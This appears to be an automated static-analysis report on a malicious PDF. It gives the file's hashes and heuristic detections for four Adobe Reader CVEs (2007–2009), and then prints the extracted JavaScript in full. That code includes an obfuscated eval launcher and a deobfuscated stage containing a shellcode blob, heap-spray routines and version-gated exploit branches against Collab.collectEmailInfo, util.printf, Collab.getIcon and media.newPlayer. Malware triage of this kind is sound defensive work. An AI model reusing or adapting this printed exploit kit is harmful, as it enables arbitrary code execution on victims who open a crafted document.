Malicious PDF — malware analysis report

Static analysis result for SHA-256 a8439d6e5fef5f44…

MALICIOUS

PDF

25.8 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 90a3a9596ad624b8e4834df76b26e915 SHA-1: deb8d12c3474816c33031727e48bf644e757d30b SHA-256: a8439d6e5fef5f4424cd67fda12da41aadc47f805a1910b59828271e3bc603fa
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript code is being executed dynamically, likely using eval(), which is a common technique for obfuscation and payload delivery. The extracted artifact 'javascript_obj0001_000.js' is also noted as suspicious due to script obfuscation indicators. The overall pattern suggests an attempt to execute malicious code, potentially exploiting a PDF reader vulnerability or downloading a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      WejibawehohYpel=eval(FoxymYz.replace('TogetaqazUwly','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x62FB 848 bytes
SHA-256: 7c953e87df262b77ca29d208cfbac0c09a51871140810295b76aab96aaee4a3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ZuzGoxwun='';
var TogetaqazUwlye=this.producer.substr(0,4);
for(var FoxymYz in this) {
	if (FoxymYz=='TogetaqazUwlye')
		WejibawehohYpel=eval(FoxymYz.replace('TogetaqazUwly','')+'val');
}
VajUhyqahi = WejibawehohYpel('new Date(2007,2,51,2,12,5)');
VahameDem = 'thi'+VajUhyqahi.getHours()+'ducer';
SelyqyzIxec=WejibawehohYpel(VahameDem.replace(2,'s.pro'));
SelyqyzIxec = SelyqyzIxec.replace(/t/g,'2');
RejAdo = SelyqyzIxec.substr(4).split('s');
var GcodizofuroLejiqequ = '';
g = VajUhyqahi.getHours()*2;
var KoiroKodu = 'fro'+VajUhyqahi.getHours()+'arCode';
KoiroKodu=KoiroKodu.replace(2,'mCh');
BunCupygok=String[KoiroKodu];
for (FoxymYz = 0; FoxymYz < RejAdo.length; FoxymYz++) {
	iburoqagAlyh = WejibawehohYpel(RejAdo[FoxymYz]);
	GcodizofuroLejiqequ += BunCupygok(iburoqagAlyh);
}
WejibawehohYpel(GcodizofuroLejiqequ);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3692 bytes
SHA-256: 32669172dd91394e32ae2a7e899ab01b011b784be1973e03a16d3e6728d53c84
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u48B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u3034%uE2AA%uC3FA%uE5E8%uFFFF%uD9FF%u313C%u3030%uB16E%u6CDC%u3031%uB930%uBDD7%u207F%u5FBD%u0164%u67EB%u6361%u6363%u6363%u6363%u6365%u5863%u3134%u3030%u6665%u5863%u5E5F%u3030%u4558%u5C42%u645D%uBE58%u3E7E%uD8DC%u3078%u3030%uD860%u304C%u3030%uE0CF%uF4B3%u5838%uDF7F%u357F%uD860%u305C%u3030%uE0CF%uF0B5%u2745%u645A%uC369%u589A%uCE42%u2683%u2DD8%u3030%u6030%u61D8%u3030%uCF30%u63E0%uCE5A%uB958%u315F%uD88D%u3038%u3030%uD860%u300C%u3030%uE0CF%u0150%u54F0%u60BB%uBB00%u3C62%u62BB%uBB24%u1842%u2889%u3030%u0130%u01CF%u9CF0%u510C%u324C%u101C%uFFF1%u313D%uD2F7%uB1C0%u6BCF%u7A8C%uBB5A%u2072%u22BB%uE945%u74B9%u2C14%uF351%uBB50%u145C%uBB14%u0C75%u64BB%u4835%uDA31%u7ABB%uBB28%u106A%uDB31%u04D3%uBB79%uBB04%uDE31%uCF01%uF001%u9CCC%uF0B4%u3744%uFFF1%u313D%uDBF7%u0BC4%u144C%u4518%uBBD1%u146A%uDB31%uBB56%u7B3C%u6ABB%u312C%uBBDB%uBB34%uD831%u74B9%u2C14%uF251%u3038%uDFD8%uCFCE%u58CF%u4444%u0A40%u1F1F%u5844%u425F%u5157%u455B%u1E43%u4A53%u531E%u1F53%u455F%u1E44%u5840%u0F40%u0D51%u6161%u755B%u5B75%u7A53%u7172%u0D0D%u4016%u070D%u0030';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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